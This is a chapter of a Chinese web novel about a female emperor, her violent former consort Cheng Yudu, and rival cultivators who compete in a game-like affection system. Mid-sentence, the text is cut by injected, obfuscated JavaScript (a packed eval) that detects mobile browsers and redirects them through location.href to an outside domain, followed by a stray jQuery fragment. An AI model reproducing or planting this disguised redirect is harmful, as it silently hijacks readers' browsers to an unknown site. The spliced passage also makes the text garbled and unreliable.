020章


    闹剧越闹越大,沈一元忍无可忍,一边给玄微宗发去了一封怒气冲冲的质问,一边打开刀剑丛林,直奔成玉度面前。


    她一把踹倒成玉度,寒脸怒道:“你疯了!前几天还对我一脸厌恶,如今我搬出来,你不偷着高兴,跟出来捣鬼,是想干什么?”


    成玉度不言,他满脸鲜血地站起来,表情麻木,指挥斩灵鞭在自己背上甩下最后一鞭。


    “……”


    血流如注。


    他如破布玩偶般,重重地摔倒在地。


    沈一元只闻见刺鼻的血腥味,怄得不行,看见成玉度这个罪魁祸首倒地后还麻木的表情,气不打一处来,亲自拾起地上的斩灵鞭,给成玉度的脸上重重地来了一下。


    “滴,皇帝的好感度上升啦!当前真心值为:-5.”


    机械音响起,彼此都怔了怔。


    成玉度缓缓抬起脸,深深地看着沈一元,半晌,扯了扯裂开的唇角。


    “沈一元,原来你喜欢这样。”


    沈一元哑然,“变态才喜欢……”


    她不是变态。


    突然,沈一元的脚踝上“啪”地甩上了一只手,成玉度猩红的大手紧紧攥住沈一元细瘦脚踝,抬起脸,青白的脸对她虚弱地一笑:“你早说喜欢这样,我们以前也不至于会落到……”


    “啊!”


    沈一元受不了,成玉度现在像只水鬼一样,头发湿漉漉,脸白得没有人样,浑身是污血,凄惨又诡艳,她这个温室里的皇帝受不了这种水鬼冲击!


    她大叫一声,根本不想听成玉度接下来要讲什么东西,直喊护驾护驾,护卫们利落地跑来,把她护住。


    成玉度的手被踹了一脚不放,又被护卫硬生生踩断,才算是放开。


    沈一元听见令人牙酸的骨裂声,毛骨悚然,被护送出去的刹那,鬼使神差地回头看,这一看又是一场惊吓。


    成玉度隔着黑漆漆的湿发,死死地盯着她啊!


    沈一元又气又怕,有气无力地喊:“护驾,护驾啊……”


    总算是回到大殿,又听侍子说李长鳞负伤出去找她了。


    终于是听到了个好消息,沈一元疲惫得却连开心的力气都没有了。


    时隔多年,成玉度的杀伤力依旧如初。


    谁让,谁让他和自己初恋长的一样,还是自己成为皇帝后正儿八经的第一任皇后呢。


    沈一元瘫倒在床上,头上金冠硌得她头疼,她伸手拽下金冠,一把把冠子扔开,这才舒服地躺下。


    果然穷的时候有穷的苦恼,富的时候有富的忧愁。


    但是比起食不果腹没有尊严受人摆布的穷过往,想到自己现在坐拥天下的地位,沈一元突然觉得成玉度的麻烦也不算麻烦了。


    “唉,杀也杀不得,师父毕竟待我有恩。可这么闹下去,也不是办法。”


    沈一元愁锁双眉,想来想去,觉得整个修真界里,能镇得住成玉度的,或许也只有成桦师父了。


    刚才她送去玄微宗的飞鹤信,不知道师父看见没有。


    ……


    飞鹤信,成桦收到了。


    一看信上内容,知道孽子犯瘴,再看底下:“猖狂至此,意欲何为,意欲何为!”


    意欲何为连说两次,看样子真的生气了。


    成桦还在收拾着宗内的乱摊子,这里还没弄好,转头成玉度又在外面弄了更糟的一摊子让她去收拾。


    她这个老娘被气得两眼发黑,直想现在把成玉度腿打断。


    然而气归气,事情还得料理。


    这不能自家弟子刚登基两天,皇宫里就被自己儿子弄得鸡犬不宁。


    她成桦丢不起这脸!


    于是又是委托宗主,又是留下灵石万数,最后再给自己找个代理峰主,看来看去,却只有文其谋事闲,是最佳人选。


    可是成桦和文其谋向来面和心不和,她厌其虚伪,他鄙她冷傲。


    让他做代理峰主……几无可能。


    只是修真界将临万宗大比,宗内人人忙碌,谁能顾得上给她管理这么大一座山峰呢?


    思来想去,却只有文其谋。


    成桦一剑劈开面前大石,恨恨然,终究无奈地向药峰走去。


    “……事情,便是这样。”


    文其谋雪白的脸微微含笑,“你们那小山头就三人,这下全走了,以后回宗可就没洞府修炼了哦。”


    成桦咬牙:“我是带玉度去游历凡间,化解心魔,不是死了。”


    文其谋害了声,“有何区别呢?哪个修士不知道心魔难化,动辄百年千年。百年千年后,世事如何变迁,谁能保证呢?”


    成桦冷笑:“尊者最擅卜卦,不如时时刻刻起一卦,关照着我们母子俩生死,如何不能保证呢。”


    文其谋摇头,“谁有这闲心关照你……”,他微妙地停顿了下,笑道:“和那个疯子魔头呢?”


    “你!”


    成桦拍案而起。


    屋内的周而复立马进入戒备状态。


    周而始在修理发冠的鸡血宝石,闻声头也没抬,细白俊秀的脸上专注而痴迷地看着宝石闪耀的细碎光芒。


    文其谋依旧含笑,“怎么了?如今在玄微宗众人眼里,在……皇宫里那位眼里,你儿子成玉度不就是个疯子,是个失心疯的魔头吗?”


    成桦捏紧拳头,脸色冷得吓人,“我不想再和你扯皮了,你要是不管,我也无所谓。大不了从此山头荒废,灵力枯竭,叫全宗门跟着受苦!”


    “欸,你看你,又急。”


    文其谋不紧不慢,“本尊没说不帮。但是帮也得有个酬报罢?尊者的酬报几何,拿出看看诚意。”


    成桦冷哼一声,掏出数十枚储灵戒,扔在桌上,而后起身便走。


    文其谋在她身后闲闲开口:“你和你的好儿子走了,再过一日便是阿元回宗的例日,你们要等见了面,再走啊。”


    成桦脚步微顿。


    半晌,她沉声道:“不见了。”


    说罢,加快脚步离开。


    文其谋望着她消失的方向,意味深长地一笑。


    周而复站在门口,望见自己师父不怀好意地笑,自己弟弟擦拭宝石的痴迷,他一人像圈外的狗看着圈内披羊皮的狼,有一种迫于职守守护他们,而尤为恶心的感觉。


    他嫌憎地扭开脸,怀疑自己为何要受这样多的磋磨,上一辈子还不够,这辈子还要再来一次。


    只是这一次……


    周而复冷


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15754297|173772||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    淡的表情裂开一条细缝,只是这一次,他不想再入秀林苑。


    他不想,再失去。


    这辈子,也不想再体验那种爱到疯魔的失控感,他后来竟然……后来竟然……


    “哥,你哭什么呢?”


    周而始一句话,惊醒了室内各怀鬼胎的男人。


    文其谋眯起眼,打量着周而复。


    周而复恢复冷淡神情,使了个清洁术,脸上泪痕再也不见。


    他冷冷地看了眼周而始,后者正笑得开心。


    也感受到文其谋的目光,周而复敛眉,对文其谋恭敬地行了礼,“师父,弟子体感不适,想去休息。”


    文其谋顿了下,微微一笑:“去罢。好好休息。”


    周而复点点头,转身离去。


    待他走后。


    文其谋轻声道:“你觉得你哥,也有记忆吗?”


    周而始把擦拭得闪闪发光的宝石冠戴好,闻言道:“师尊觉得呢?”


    文其谋轻笑:“乖徒,为师先问你的。”


    周而始嘻嘻哈哈,“是啊是啊,那我先说吧,我觉得我哥也回来了,他这个死人前几天都差点打死我了,还说什么不给争不给争,凭什么他说不给就不给,嘿嘿,师尊,我就争!”


    文其谋颔首,“做得好。”


    眯起长眸,文其谋又淡淡问道:“阿元对你的真心值有多少?”


    周而始一僵,转瞬又嬉笑,“我的还是0呢,师尊生得好看,又和阿元见过好多次,应当在她面前攒了好多好感罢?”


    文其谋微顿,似笑非笑抬眼,“你我师徒最是亲近,这时不必试探了。为师不瞒你,阿元对我的真心值已有三十二,评语如你所说,赞我貌盛。”


    周而始脸上的笑僵得难看,他哦了声,起身告辞:“师尊休息罢,弟子不打扰了。”


    文其谋含笑点头。


    周而始便走出了门。


    刚出了院门,他便一把扯下头上宝石冠,往地上狠狠一摔,宝石迸裂,碎石满地,折射着纷繁日光。


    周而始阴鸷望着地上的碎宝石,眼神怨毒,“神气什么?以为凭着一张脸就能独占她吗?等日后新人进来,有你哭的。”


    和睦的假象一旦被撕开,腐烂的情意便会流出。


    周而始语气阴狠,“上辈子让你个老不死的嚣张了好长一段时间,这辈子我说什么也得先弄死你,哼!”


    俊秀少年干净的皂靴狠狠碾过地上宝石碎粒,挥袖怒去。


    最后偌大的室内,只留下文其谋一人。


    文其谋打开系统界面,查看沈一元对自己的好感度:-12。


    左看右看,看了半晌,长发如雪、容貌顶盛的青年,倚进椅中,哈哈大笑。


    ……


    沈一元没有躺很久,成桦就来了。


    闻声,沈一元弹跳出门,“师父!”


    成桦看见自家孽子的惨样,又心疼又生气,但她知道都是成玉度自己犯贱,自己打的,脸上实在是烧得慌。


    对上沈一元,也只是点点头,转而一掌劈下,把儿子打晕带走。


    对成桦略显冷淡的反应,沈一元愣了下,但总归是一切结束了。


    成玉度这个疯子,不会回来了。